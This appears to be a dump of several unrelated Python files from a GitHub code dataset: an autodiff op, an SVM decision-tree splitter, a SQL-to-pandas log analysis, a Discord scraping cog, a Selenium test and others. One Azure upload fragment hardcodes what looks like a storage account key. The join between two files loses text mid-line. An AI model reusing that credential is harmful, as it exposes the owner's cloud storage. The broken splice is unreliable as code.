Operation\n\n\nclass OpFlatten(Operation):\n \"\"\"Flatten the tensor to 1-D array.\"\"\"\n\n def __init__(self, x: Operation, **kwargs):\n self.inputs = [x]\n if any(map(lambda x: x is None, np.shape(x))):\n self.shape = (None,)\n else:\n self.shape = (int(np.prod(np.shape(x))),)\n super(OpFlatten, self).__init__(**kwargs)\n\n def _forward(self, feed_dict: Mapping[Union[str, Operation], np.ndarray]):\n return self.values[0].flatten()\n\n def _backward(self, gradient: np.ndarray):\n self.gradients = [\n gradient.reshape(self.values[0].shape),\n ]\n","repo_name":"CyberZHG/toy-auto-diff","sub_path":"auto_diff/op/op_flatten.py","file_name":"op_flatten.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"3844928066","text":"\"\"\"\nOblique decision tree classifier based on SVM nodes\nSplitter class\n\"\"\"\n\nimport os\nimport warnings\nimport random\nfrom math import log, factorial\nimport numpy as np\nfrom sklearn.feature_selection import SelectKBest, mutual_info_classif\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import SVC\nfrom sklearn.exceptions import ConvergenceWarning\nfrom mufs import MUFS\n\n\nclass Snode:\n \"\"\"\n Nodes of the tree that keeps the svm classifier and if testing the\n dataset assigned to it\n\n Parameters\n ----------\n clf : SVC\n Classifier used\n X : np.ndarray\n input dataset in train time (only in testing)\n y : np.ndarray\n input labes in train time\n features : np.array\n features used to compute hyperplane\n impurity : float\n impurity of the node\n title : str\n label describing the route to the node\n weight : np.ndarray, optional\n weights applied to input dataset in train time, by default None\n scaler : StandardScaler, optional\n scaler used if any, by default None\n \"\"\"\n\n def __init__(\n self,\n clf: SVC,\n X: np.ndarray,\n y: np.ndarray,\n features: np.array,\n impurity: float,\n title: str,\n weight: np.ndarray = None,\n scaler: StandardScaler = None,\n ):\n self._clf = clf\n self._title = title\n self._belief = 0.0\n # Only store dataset in Testing\n self._X = X if os.environ.get(\"TESTING\", \"NS\") != \"NS\" else None\n self._y = y\n self._down = None\n self._up = None\n self._class = None\n self._feature = None\n self._sample_weight = (\n weight if os.environ.get(\"TESTING\", \"NS\") != \"NS\" else None\n )\n self._features = features\n self._impurity = impurity\n self._partition_column: int = -1\n self._scaler = scaler\n self._proba = None\n\n @classmethod\n def copy(cls, node: \"Snode\") -> \"Snode\":\n return cls(\n node._clf,\n node._X,\n node._y,\n node._features,\n node._impurity,\n node._title,\n node._sample_weight,\n node._scaler,\n )\n\n def set_partition_column(self, col: int):\n self._partition_column = col\n\n def get_partition_column(self) -> int:\n return self._partition_column\n\n def set_down(self, son):\n self._down = son\n\n def set_title(self, title):\n self._title = title\n\n def set_classifier(self, clf):\n self._clf = clf\n\n def set_features(self, features):\n self._features = features\n\n def set_impurity(self, impurity):\n self._impurity = impurity\n\n def get_title(self) -> str:\n return self._title\n\n def get_classifier(self) -> SVC:\n return self._clf\n\n def get_impurity(self) -> float:\n return self._impurity\n\n def get_features(self) -> np.array:\n return self._features\n\n def set_up(self, son):\n self._up = son\n\n def is_leaf(self) -> bool:\n return self._up is None and self._down is None\n\n def get_down(self) -> \"Snode\":\n return self._down\n\n def get_up(self) -> \"Snode\":\n return self._up\n\n def make_predictor(self, num_classes: int) -> None:\n \"\"\"Compute the class of the predictor and its belief based on the\n subdataset of the node only if it is a leaf\n \"\"\"\n if not self.is_leaf():\n return\n classes, card = np.unique(self._y, return_counts=True)\n self._proba = np.zeros((num_classes,), dtype=np.int64)\n for c, n in zip(classes, card):\n self._proba[c] = n\n try:\n max_card = max(card)\n self._class = classes[card == max_card][0]\n self._belief = max_card / np.sum(card)\n except ValueError:\n self._class = None\n\n def graph(self):\n \"\"\"\n Return a string representing the node in graphviz format\n \"\"\"\n output = \"\"\n count_values = np.unique(self._y, return_counts=True)\n if self.is_leaf():\n output += (\n f'N{id(self)} [shape=box style=filled label=\"'\n f\"class={self._class} impurity={self._impurity:.3f} \"\n f'counts={self._proba}\"];\\n'\n )\n else:\n output += (\n f'N{id(self)} [label=\"#features={len(self._features)} '\n f\"classes={count_values[0]} samples={count_values[1]} \"\n f'({sum(count_values[1])})\" fontcolor=black];\\n'\n )\n output += f\"N{id(self)} -> N{id(self.get_up())} [color=black];\\n\"\n output += f\"N{id(self)} -> N{id(self.get_down())} [color=black];\\n\"\n return output\n\n def __str__(self) -> str:\n count_values = np.unique(self._y, return_counts=True)\n if self.is_leaf():\n return (\n f\"{self._title} - Leaf class={self._class} belief=\"\n f\"{self._belief: .6f} impurity={self._impurity:.4f} \"\n f\"counts={count_values}\"\n )\n return (\n f\"{self._title} feaures={self._features} impurity=\"\n f\"{self._impurity:.4f} \"\n f\"counts={count_values}\"\n )\n\n\nclass Siterator:\n \"\"\"Stree preorder iterator\"\"\"\n\n def __init__(self, tree: Snode):\n self._stack = []\n self._push(tree)\n\n def __iter__(self):\n # To complete the iterator interface\n return self\n\n def _push(self, node: Snode):\n if node is not None:\n self._stack.append(node)\n\n def __next__(self) -> Snode:\n if len(self._stack) == 0:\n raise StopIteration()\n node = self._stack.pop()\n self._push(node.get_up())\n self._push(node.get_down())\n return node\n\n\nclass Splitter:\n \"\"\"\n Splits a dataset in two based on different criteria\n\n Parameters\n ----------\n clf : SVC, optional\n classifier, by default None\n criterion : str, optional\n The function to measure the quality of a split (only used if\n max_features != num_features). Supported criteria are “gini” for the\n Gini impurity and “entropy” for the information gain., by default\n \"entropy\", by default None\n feature_select : str, optional\n The strategy used to choose the feature set at each node (only used if\n max_features < num_features). Supported strategies are: “best”: sklearn\n SelectKBest algorithm is used in every node to choose the max_features\n best features. “random”: The algorithm generates 5 candidates and\n choose the best (max. info. gain) of them. “trandom”: The algorithm\n generates only one random combination. \"mutual\": Chooses the best\n features w.r.t. their mutual info with the label. \"cfs\": Apply\n Correlation-based Feature Selection. \"fcbf\": Apply Fast Correlation-\n Based, by default None\n criteria : str, optional\n ecides (just in case of a multi class classification) which column\n (class) use to split the dataset in a node. max_samples is\n incompatible with 'ovo' multiclass_strategy, by default None\n min_samples_split : int, optional\n The minimum number of samples required to split an internal node. 0\n (default) for any, by default None\n random_state : optional\n Controls the pseudo random number generation for shuffling the data for\n probability estimates. Ignored when probability is False.Pass an int\n for reproducible output across multiple function calls, by\n default None\n normalize : bool, optional\n If standardization of features should be applied on each node with the\n samples that reach it , by default False\n\n Raises\n ------\n ValueError\n clf has to be a sklearn estimator\n ValueError\n criterion must be gini or entropy\n ValueError\n criteria has to be max_samples or impurity\n ValueError\n splitter must be in {random, best, mutual, cfs, fcbf}\n \"\"\"\n\n def __init__(\n self,\n clf: SVC = None,\n criterion: str = None,\n feature_select: str = None,\n criteria: str = None,\n min_samples_split: int = None,\n random_state=None,\n normalize=False,\n ):\n self._clf = clf\n self._random_state = random_state\n if random_state is not None:\n random.seed(random_state)\n self._criterion = criterion\n self._min_samples_split = min_samples_split\n self._criteria = criteria\n self._feature_select = feature_select\n self._normalize = normalize\n\n if clf is None:\n raise ValueError(f\"clf has to be a sklearn estimator, got({clf})\")\n\n if criterion not in [\"gini\", \"entropy\"]:\n raise ValueError(\n f\"criterion must be gini or entropy got({criterion})\"\n )\n\n if criteria not in [\n \"max_samples\",\n \"impurity\",\n ]:\n raise ValueError(\n f\"criteria has to be max_samples or impurity; got ({criteria})\"\n )\n\n if feature_select not in [\n \"random\",\n \"trandom\",\n \"best\",\n \"mutual\",\n \"cfs\",\n \"fcbf\",\n \"iwss\",\n ]:\n raise ValueError(\n \"splitter must be in {random, trandom, best, mutual, cfs, \"\n \"fcbf, iwss} \"\n f\"got ({feature_select})\"\n )\n self.criterion_function = getattr(self, f\"_{self._criterion}\")\n self.decision_criteria = getattr(self, f\"_{self._criteria}\")\n self.fs_function = getattr(self, f\"_fs_{self._feature_select}\")\n\n def _fs_random(\n self, dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Return the best of five random feature set combinations\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (< number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n # Random feature reduction\n n_features = dataset.shape[1]\n features_sets = self._generate_spaces(n_features, max_features)\n return self._select_best_set(dataset, labels, features_sets)\n\n @staticmethod\n def _fs_trandom(\n dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Return the a random feature set combination\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (< number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n # Random feature reduction\n n_features = dataset.shape[1]\n return tuple(sorted(random.sample(range(n_features), max_features)))\n\n @staticmethod\n def _fs_best(\n dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Return the variabes with higher f-score\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (< number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n return (\n SelectKBest(k=max_features)\n .fit(dataset, labels)\n .get_support(indices=True)\n )\n\n def _fs_mutual(\n self, dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Return the best features with mutual information with labels\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (< number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n # return best features with mutual info with the label\n feature_list = mutual_info_classif(\n dataset, labels, random_state=self._random_state\n )\n return tuple(\n sorted(\n range(len(feature_list)), key=lambda sub: feature_list[sub]\n )[-max_features:]\n )\n\n @staticmethod\n def _fs_cfs(\n dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Correlattion-based feature selection with max_features limit\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (< number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n mufs = MUFS(max_features=max_features, discrete=False)\n return mufs.cfs(dataset, labels).get_results()\n\n @staticmethod\n def _fs_fcbf(\n dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Fast Correlation-based Filter algorithm with max_features limit\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (< number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n mufs = MUFS(max_features=max_features, discrete=False)\n return mufs.fcbf(dataset, labels, 5e-4).get_results()\n\n @staticmethod\n def _fs_iwss(\n dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Correlattion-based feature selection based on iwss with max_features\n limit\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (< number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n mufs = MUFS(max_features=max_features, discrete=False)\n return mufs.iwss(dataset, labels, 0.25).get_results()\n\n def partition_impurity(self, y: np.array) -> np.array:\n return self.criterion_function(y)\n\n @staticmethod\n def _gini(y: np.array) -> float:\n _, count = np.unique(y, return_counts=True)\n return 1 - np.sum(np.square(count / np.sum(count)))\n\n @staticmethod\n def _entropy(y: np.array) -> float:\n \"\"\"Compute entropy of a labels set\n\n Parameters\n ----------\n y : np.array\n set of labels\n\n Returns\n -------\n float\n entropy\n \"\"\"\n n_labels = len(y)\n if n_labels <= 1:\n return 0\n counts = np.bincount(y)\n proportions = counts / n_labels\n n_classes = np.count_nonzero(proportions)\n if n_classes <= 1:\n return 0\n entropy = 0.0\n # Compute standard entropy.\n for prop in proportions:\n if prop != 0.0:\n entropy -= prop * log(prop, n_classes)\n return entropy\n\n def information_gain(\n self, labels: np.array, labels_up: np.array, labels_dn: np.array\n ) -> float:\n \"\"\"Compute information gain of a split candidate\n\n Parameters\n ----------\n labels : np.array\n labels of the dataset\n labels_up : np.array\n labels of one side\n labels_dn : np.array\n labels on the other side\n\n Returns\n -------\n float\n information gain\n \"\"\"\n imp_prev = self.criterion_function(labels)\n card_up = card_dn = imp_up = imp_dn = 0\n if labels_up is not None:\n card_up = labels_up.shape[0]\n imp_up = self.criterion_function(labels_up)\n if labels_dn is not None:\n card_dn = labels_dn.shape[0] if labels_dn is not None else 0\n imp_dn = self.criterion_function(labels_dn)\n samples = card_up + card_dn\n if samples == 0:\n return 0.0\n else:\n result = (\n imp_prev\n - (card_up / samples) * imp_up\n - (card_dn / samples) * imp_dn\n )\n return result\n\n def _select_best_set(\n self, dataset: np.array, labels: np.array, features_sets: list\n ) -> list:\n \"\"\"Return the best set of features among feature_sets, the criterion is\n the information gain\n\n Parameters\n ----------\n dataset : np.array\n array of samples (# samples, # features)\n labels : np.array\n array of labels\n features_sets : list\n list of features sets to check\n\n Returns\n -------\n list\n best feature set\n \"\"\"\n max_gain = 0\n selected = None\n warnings.filterwarnings(\"ignore\", category=ConvergenceWarning)\n for feature_set in features_sets:\n self._clf.fit(dataset[:, feature_set], labels)\n node = Snode(\n self._clf, dataset, labels, feature_set, 0.0, \"subset\"\n )\n self.partition(dataset, node, train=True)\n y1, y2 = self.part(labels)\n gain = self.information_gain(labels, y1, y2)\n if gain > max_gain:\n max_gain = gain\n selected = feature_set\n return selected if selected is not None else feature_set\n\n @staticmethod\n def _generate_spaces(features: int, max_features: int) -> list:\n \"\"\"Generate at most 5 feature random combinations\n\n Parameters\n ----------\n features : int\n number of features in each combination\n max_features : int\n number of features in dataset\n\n Returns\n -------\n list\n list with up to 5 combination of features randomly selected\n \"\"\"\n comb = set()\n # Generate at most 5 combinations\n number = factorial(features) / (\n factorial(max_features) * factorial(features - max_features)\n )\n set_length = min(5, number)\n while len(comb) < set_length:\n comb.add(\n tuple(sorted(random.sample(range(features), max_features)))\n )\n return list(comb)\n\n def _get_subspaces_set(\n self, dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Compute the indices of the features selected by splitter depending\n on the self._feature_select hyper parameter\n\n Parameters\n ----------\n dataset : np.array\n array of samples\n labels : np.array\n labels of the dataset\n max_features : int\n number of features of the subspace\n (<= number of features in dataset)\n\n Returns\n -------\n tuple\n indices of the features selected\n \"\"\"\n # No feature reduction\n n_features = dataset.shape[1]\n if n_features == max_features:\n return tuple(range(n_features))\n # select features as selected in constructor\n return self.fs_function(dataset, labels, max_features)\n\n def get_subspace(\n self, dataset: np.array, labels: np.array, max_features: int\n ) -> tuple:\n \"\"\"Re3turn a subspace of the selected dataset of max_features length.\n Depending on hyperparameter\n\n Parameters\n ----------\n dataset : np.array\n array of samples (# samples, # features)\n labels : np.array\n labels of the dataset\n max_features : int\n number of features to form the subspace\n\n Returns\n -------\n tuple\n tuple with the dataset with only the features selected and the\n indices of the features selected\n \"\"\"\n indices = self._get_subspaces_set(dataset, labels, max_features)\n return dataset[:, indices], indices\n\n def _impurity(self, data: np.array, y: np.array) -> np.array:\n \"\"\"return column of dataset to be taken into account to split dataset\n\n Parameters\n ----------\n data : np.array\n distances to hyper plane of every class\n y : np.array\n vector of labels (classes)\n\n Returns\n -------\n np.array\n column of dataset to be taken into account to split dataset\n \"\"\"\n max_gain = 0\n selected = -1\n for col in range(data.shape[1]):\n tup = y[data[:, col] > 0]\n tdn = y[data[:, col] <= 0]\n info_gain = self.information_gain(y, tup, tdn)\n if info_gain > max_gain:\n selected = col\n max_gain = info_gain\n return selected\n\n @staticmethod\n def _max_samples(data: np.array, y: np.array) -> np.array:\n \"\"\"return column of dataset to be taken into account to split dataset\n\n Parameters\n ----------\n data : np.array\n distances to hyper plane of every class\n y : np.array\n column of dataset to be taken into account to split dataset\n\n Returns\n -------\n np.array\n column of dataset to be taken into account to split dataset\n \"\"\"\n # select the class with max number of samples\n _, samples = np.unique(y, return_counts=True)\n return np.argmax(samples)\n\n def partition(self, samples: np.array, node: Snode, train: bool):\n \"\"\"Set the criteria to split arrays. Compute the indices of the samples\n that should go to one side of the tree (up)\n\n Parameters\n ----------\n samples : np.array\n array of samples (# samples, # features)\n node : Snode\n Node of the tree where partition is going to be made\n train : bool\n Train time - True / Test time - False\n \"\"\"\n # data contains the distances of every sample to every class hyperplane\n # array of (m, nc) nc = # classes\n data = self._distances(node, samples)\n if data.shape[0] < self._min_samples_split:\n # there aren't enough samples to split\n self._up = np.ones((data.shape[0]), dtype=bool)\n return\n if data.ndim > 1:\n # split criteria for multiclass\n # Convert data to a (m, 1) array selecting values for samples\n if train:\n # in train time we have to compute the column to take into\n # account to split the dataset\n col = self.decision_criteria(data, node._y)\n node.set_partition_column(col)\n else:\n # in predcit time just use the column computed in train time\n # is taking the classifier of class \n col = node.get_partition_column()\n if col == -1:\n # No partition is producing information gain\n data = np.ones(data.shape)\n data = data[:, col]\n self._up = data > 0\n\n def part(self, origin: np.array) -> list:\n \"\"\"Split an array in two based on indices (self._up) and its complement\n partition has to be called first to establish up indices\n\n Parameters\n ----------\n origin : np.array\n dataset to split\n\n Returns\n -------\n list\n list with two splits of the array\n \"\"\"\n down = ~self._up\n return [\n origin[self._up] if any(self._up) else None,\n origin[down] if any(down) else None,\n ]\n\n def _distances(self, node: Snode, data: np.ndarray) -> np.array:\n \"\"\"Compute distances of the samples to the hyperplane of the node\n\n Parameters\n ----------\n node : Snode\n node containing the svm classifier\n data : np.ndarray\n samples to compute distance to hyperplane\n\n Returns\n -------\n np.array\n array of shape (m, nc) with the distances of every sample to\n the hyperplane of every class. nc = # of classes\n \"\"\"\n X_transformed = data[:, node._features]\n if self._normalize:\n X_transformed = node._scaler.transform(X_transformed)\n return node._clf.decision_function(X_transformed)\n","repo_name":"Doctorado-ML/STree","sub_path":"stree/Splitter.py","file_name":"Splitter.py","file_ext":"py","file_size_in_byte":25124,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"38291066706","text":"import os\r\nos.chdir(\"D:\\\\work\\\\python\")\r\nprint(os.getcwd())\r\nimport pandas as pd\r\nimport time\r\nimport pyodbc\r\nconn = pyodbc.connect(r'DRIVER={SQL Server Native Client 10.0};SERVER=111.111.111.111;DATABASE=JOY_HOME;UID=11;PWD=1111')\r\ncur = conn.cursor()\r\naa = cur.execute(\"select a.CREATED_ON id_created,b.CREATED_ON log_created,a.OWNER_SID,a.APARTMENT_SID,a.OWNER_NAME, a.OWNER_TYPE ,b.CONTENT from HOME_OWNER a left join Home_OwnerLog b on a.OWNER_SID = b.OWNER_SID where a.OWNER_TYPE=1 and a.FAMILY_NAME not in ('悦悦') and a.OWNER_NO not like '%物业%' and b.SYSTEM_TYPE=0\")\r\ninfo = cur.fetchall()\r\ncur.close()\r\nconn.close()\r\n\r\n#直接转换成dataframe(用这个转换成dataframe)\r\ninfo2 = [list(x) for x in info]\r\ndf = pd.DataFrame(info2,columns=['id_created', 'log_created', 'OWNER_SID', 'APARTMENT_SID', 'OWNER_NAME', 'OWNER_TYPE','content'])\r\ndf['content1'] = df['content'].apply(lambda x: x.decode('gbk'))\r\n\r\ndef class_content(x):\r\n neighbor = u'邻居圈|浏览帖子'\r\n domestic = u'家政'\r\n house = u'房产|房屋'\r\n notice = u'公告'\r\n purchase = u'团购|悦购'\r\n estate = u'物业服务'\r\n passing = u'访客通行|通行证'\r\n opendoor = u'一键开门'\r\n intoscreen = u'进入主界面'\r\n express = u'快递'\r\n if re.search(notice,unicode(x)):\r\n return '公告'\r\n elif re.search(neighbor,unicode(x)):\r\n return '邻居圈'\r\n elif re.search(domestic,unicode(x)):\r\n return '家政服务'\r\n elif re.search(house,unicode(x)):\r\n return '房屋租售'\r\n elif re.search(purchase,unicode(x)):\r\n return '悦购'\r\n elif re.search(estate,unicode(x)):\r\n return '物业服务'\r\n elif re.search(passing,unicode(x)):\r\n return '访客通行'\r\n elif re.search(opendoor,unicode(x)):\r\n return '一键开门'\r\n elif re.search(intoscreen,unicode(x)):\r\n return '进入主界面'\r\n elif re.search(express,unicode(x)):\r\n return '快递'\r\n else:\r\n return '其他'\r\n#data = pd.read_excel('.../log.xlsx')\r\ndata=df\r\ndata['log_timestamp'] = data['log_created'].apply(lambda x:(time.mktime(time.strptime(str(x)[:19],\"%Y-%m-%d %H:%M:%S\"))))\r\ndata['content'] = data['CONTENT'].apply(class_content)\r\ndata1 = data[['OWNER_SID','log_timestamp','content']]\r\nday_count ={'2016-07':31, '2016-08':31, '2016-09':30, '2016-10':31, '2016-11':30}\r\ndates = pd.period_range('201607',freq='M',periods=5)\r\ncolumns_name=['邻居圈','家政服务','房屋租售','公告','悦购','物业服务','访客通行','一键开门','进入主界面']\r\ndf = pd.DataFrame(0,index=dates,columns=columns_name)\r\nt_start = int(time.mktime(time.strptime('2016-07-26 00:00:00',\"%Y-%m-%d %H:%M:%S\")))\r\nfor i in day_count:\r\n t = 60*60*24*day_count[i]\r\n data2 = data1[(data1.log_timestamp>=t_start) & (data1.log_timestamp %s\" % (blobname, targetfile), end=\"\")\n try:\n blob_service = BlobService(\\\n \"welmokpilog\",\\\n \"=LfXCQBPcj4u313vfz+mx+pGC2fWwnhAo+2UW5SVAnAqIjYBEPt76oievOM3LpV35BwYCYi6ufeSBRZCs/h3c8Q==\")\n blob_service.put_block_blob_from_path(\\\n \"test-data-resources\",\\\n blobname,\\\n targetfile)\n except:\n print(\" [ERROR]\")\n print(\"Unexpected error : \", sys.exc_info()[0])\n raise\n print(\" [SUCCEED]\")\nprint(\"finish move data.\")\n","repo_name":"toriumi0118/sandbox","sub_path":"movedatatoazure/movedata.py","file_name":"movedata.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8068098950","text":"import os\nfrom py2jl import jl_source\nfrom py2jl import triming_tools\n\n\ndef convert_observable(jl_dir, py_dir):\n os.makedirs(\n jl_dir, exist_ok=True\n )\n make_observable(jl_dir, py_dir)\n make_simulation(jl_dir, py_dir)\n make_experimental_data(jl_dir, py_dir)\n\n\ndef make_observable(jl_dir, py_dir):\n with open(py_dir+'/observable.py') as f:\n lines = f.readlines()\n\n observable = jl_source.observable_header()\n\n observables = triming_tools.cut_out_lines(lines, 'observables=[', ']')[1:]\n for i, line in enumerate(observables):\n observable += line.replace(',', '').replace('\\'', '\\\"')\n\n observable += jl_source.observable_body()\n\n with open(jl_dir+'/observable.jl', mode='w')as f:\n f.write(observable)\n\n\ndef make_simulation(jl_dir, py_dir):\n with open(py_dir+'/observable.py') as f:\n lines = f.readlines()\n\n lines = triming_tools.cut_out_lines(\n lines, 'class NumericalSimulation', 'class ExperimentalData'\n )\n lines = triming_tools.lines_triming(lines)\n for i, line in enumerate(lines):\n lines[i] = triming_tools.copy_list(line)\n\n simulation = jl_source.simulation_header()\n\n line_tspan = triming_tools.cut_out_line(lines, 'tspan=')\n line_tspan = line_tspan.replace('[', '(').replace(']', ')')\n line_tspan = triming_tools.indent_remover(line_tspan, 1)\n\n line_t = triming_tools.cut_out_line(lines, 't=')\n\n simulation += triming_tools.insert_after_indent(line_tspan, 'const ')\n\n if line_t.find('/') != -1:\n line_t = line_t[line_t.find('/')+1:]\n simulation += 'const t = collect(tspan[1]:1.0:tspan[end])./' + \\\n line_t + '\\n'\n else:\n line_t = line_t[line_t.find(')')+1:]\n simulation += 'const t = collect(tspan[1]:1.0:tspan[end])' + \\\n line_t + '\\n'\n\n line_conditions = triming_tools.cut_out_line(lines, 'conditions=')\n\n simulation += triming_tools.indent_remover(\n triming_tools.insert_after_indent(line_conditions, 'const ') + '\\n', 1\n )\n\n simulation += jl_source.simulation_body1()\n\n\n conditions1 = triming_tools.cut_out_lines(\n lines, 'def simulate(', 'steady_state'\n )[1:]\n conditions2 = triming_tools.cut_out_lines(\n lines, '=copy', 'solveode',mode=1\n )[1:]\n\n conditions2 = triming_tools.insert_end(conditions2)[:-2]\n\n for i, line in enumerate(conditions1):\n simulation += line\n\n simulation += jl_source.simulation_body2()\n\n for i, line in enumerate(conditions2):\n simulation += line\n\n\n\n simulation += jl_source.simulation_body3()\n\n get_timepoint = triming_tools.cut_out_lines(\n lines, 'simulations[', 'class ExperimentalData', mode=1\n )\n for i, line in enumerate(get_timepoint):\n rep_line = line\n if rep_line.find('class ExperimentalData') != -1:\n break\n rep_line = rep_line.replace('self.', '')\n rep_line = rep_line.replace('observables.index', 'observables_index')\n if rep_line.find('Y[:, ') != -1:\n rep_line = rep_line.replace('Y[:, ', 'sol.u[j][')\n else:\n rep_line = rep_line.replace('Y[:,', 'sol.u[j][')\n if rep_line.find('simulations[') != -1:\n rep_line = rep_line.replace(':,', 'j,')\n simulation += rep_line\n\n simulation += jl_source.simulation_footer()\n\n with open(jl_dir+'/simulation.jl', mode='w')as f:\n f.write(simulation)\n\n\ndef make_experimental_data(jl_dir, py_dir):\n with open(py_dir + '/observable.py') as f:\n lines = f.readlines()\n for i, line in enumerate(lines):\n if line.find('class ExperimentalData') != -1:\n lines = lines[i:]\n break\n\n lines = triming_tools.replace_characters(lines)\n\n bracket = False\n for i, line in enumerate(lines):\n rep_line = line\n rep_line = rep_line.replace('observables.index', 'observables_index')\n\n key = line.replace(' ', '')\n if key.find('={') != -1:\n rep_line = rep_line.replace('{', 'Dict(')\n bracket = True\n if bracket:\n rep_line = rep_line.replace(':', ' =>')\n if line.find('}') != -1:\n rep_line = rep_line.replace('}', ')')\n bracket = False\n lines[i] = rep_line\n\n experimental_data = jl_source.experimental_data_header()\n\n experiments = triming_tools.cut_out_lines(\n lines, 'len(observables)', 'def get_timepoint', mode=1\n )[1:-1]\n for i, line in enumerate(experiments):\n experimental_data += triming_tools.indent_remover(line, 1)\n\n experimental_data += jl_source.get_timepoint_header()\n\n get_timepoint = triming_tools.cut_out_lines(\n lines, 'def get_timepoint', 'return'\n )[1:]\n for i, line in enumerate(get_timepoint):\n rep_line = line\n rep_line = rep_line.replace('observables.index', 'observables_index')\n if line.find('return') != -1:\n break\n if line.replace(' ', '').find('exp_t=self.') != -1:\n rep_line = ''\n for j in range(triming_tools.space_counter(line)):\n rep_line += ' '\n rep_line += line.replace(' ', '').replace('exp_t=self.', 'return ')\n experimental_data += triming_tools.indent_remover(rep_line, 1)\n\n experimental_data += jl_source.get_timepoint_footer()\n\n with open(jl_dir+'/experimental_data.jl', mode='w') as f:\n f.write(experimental_data)\n","repo_name":"okadalabipr/py2jl","sub_path":"py2jl/convert_observable.py","file_name":"convert_observable.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"73300858010","text":"from discord.ext import commands\nfrom bs4 import BeautifulSoup\nimport requests\n\n\nclass Scraping:\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n @commands.guild_only()\n async def urban(self, ctx, *, arg):\n \"\"\"Finds the word, you typed, in urbandictionary.com\"\"\"\n\n r = requests.get(\n \"http://www.urbandictionary.com/define.php?term={}\".format(arg))\n soup = BeautifulSoup(r.content, \"html.parser\")\n definition = soup.find(\"div\", attrs={\"class\": \"meaning\"}).text\n await ctx.channel.send(f\"From Urban Dictionary, **{arg}** is defined as: \\n \\n {definition}\")\n\n @commands.command()\n @commands.guild_only()\n async def define(self, ctx, *, arg):\n \"\"\"Finds the word, you typed, in dictionary.com\"\"\"\n r = requests.get(\n \"http://www.dictionary.com/browse/{}?s=t\".format(arg))\n soup = BeautifulSoup(r.content, \"html.parser\")\n definition = soup.find(\"div\", attrs={\"class\": \"def-content\"}).text\n await ctx.channel.send(f\"From Dictionary.com, **{arg}** is defined as: \\n \\n {definition}\")\n\n\ndef setup(bot):\n bot.add_cog(Scraping(bot))\n","repo_name":"binarybrat/Chappie","sub_path":"cogs/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41097409028","text":"# -*- coding: utf-8 -*-\nfrom selenium.webdriver.firefox.webdriver import WebDriver\n\ndef header(data):\n print(\"\\n\" +'------------------------------------------')\n print(\" {}\").format(data)\n print('------------------------------------------')\n print('')\n\n\ndef log_output(data):\n print(\"\\t\" +data)\n\n\ndef syn_test_script():\n\n try:\n success = True\n driver = WebDriver()\n driver.implicitly_wait(60)\n log_output(\"Starting @ http://www.kay.com/en/kaystore\")\n\n driver.get(\"http://www.kay.com/en/kaystore\")\n driver.find_element_by_id(\"site-search__input\").click()\n driver.find_element_by_id(\"site-search__input\").clear()\n driver.find_element_by_id(\"site-search__input\").send_keys(\"engagement\")\n driver.find_element_by_id(\"searchButton\").click()\n if not (\"Engagement\" in driver.find_element_by_tag_name(\"html\").text):\n success = False\n print(\"verifyTextPresent failed\")\n\n finally:\n driver.quit()\n if not success:\n raise Exception(\"Test failed.\")\n\ndef main():\n syn_test_script()\n\n\nif __name__ == '__main__':\n header('Kay - Engagement Search')\n main()","repo_name":"ScottCYoung/Signet-Synthetics","sub_path":"Kay/Complete/Eng-Kay_Search.py","file_name":"Eng-Kay_Search.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39462548255","text":"from itertools import product\n\nfrom .pgl2_element import PGL2Element\nfrom .pgl2 import PGL2\nfrom fields import SquareExtensionField, FieldElement\nfrom utilities.general_utilities import measure, class_property_memorize\nimport random\n\nfrom typing import List, Dict\n\n\nclass PSL2(PGL2):\n def __init__(self, q):\n super().__init__(q)\n\n @staticmethod\n def is_determinant_square(x: 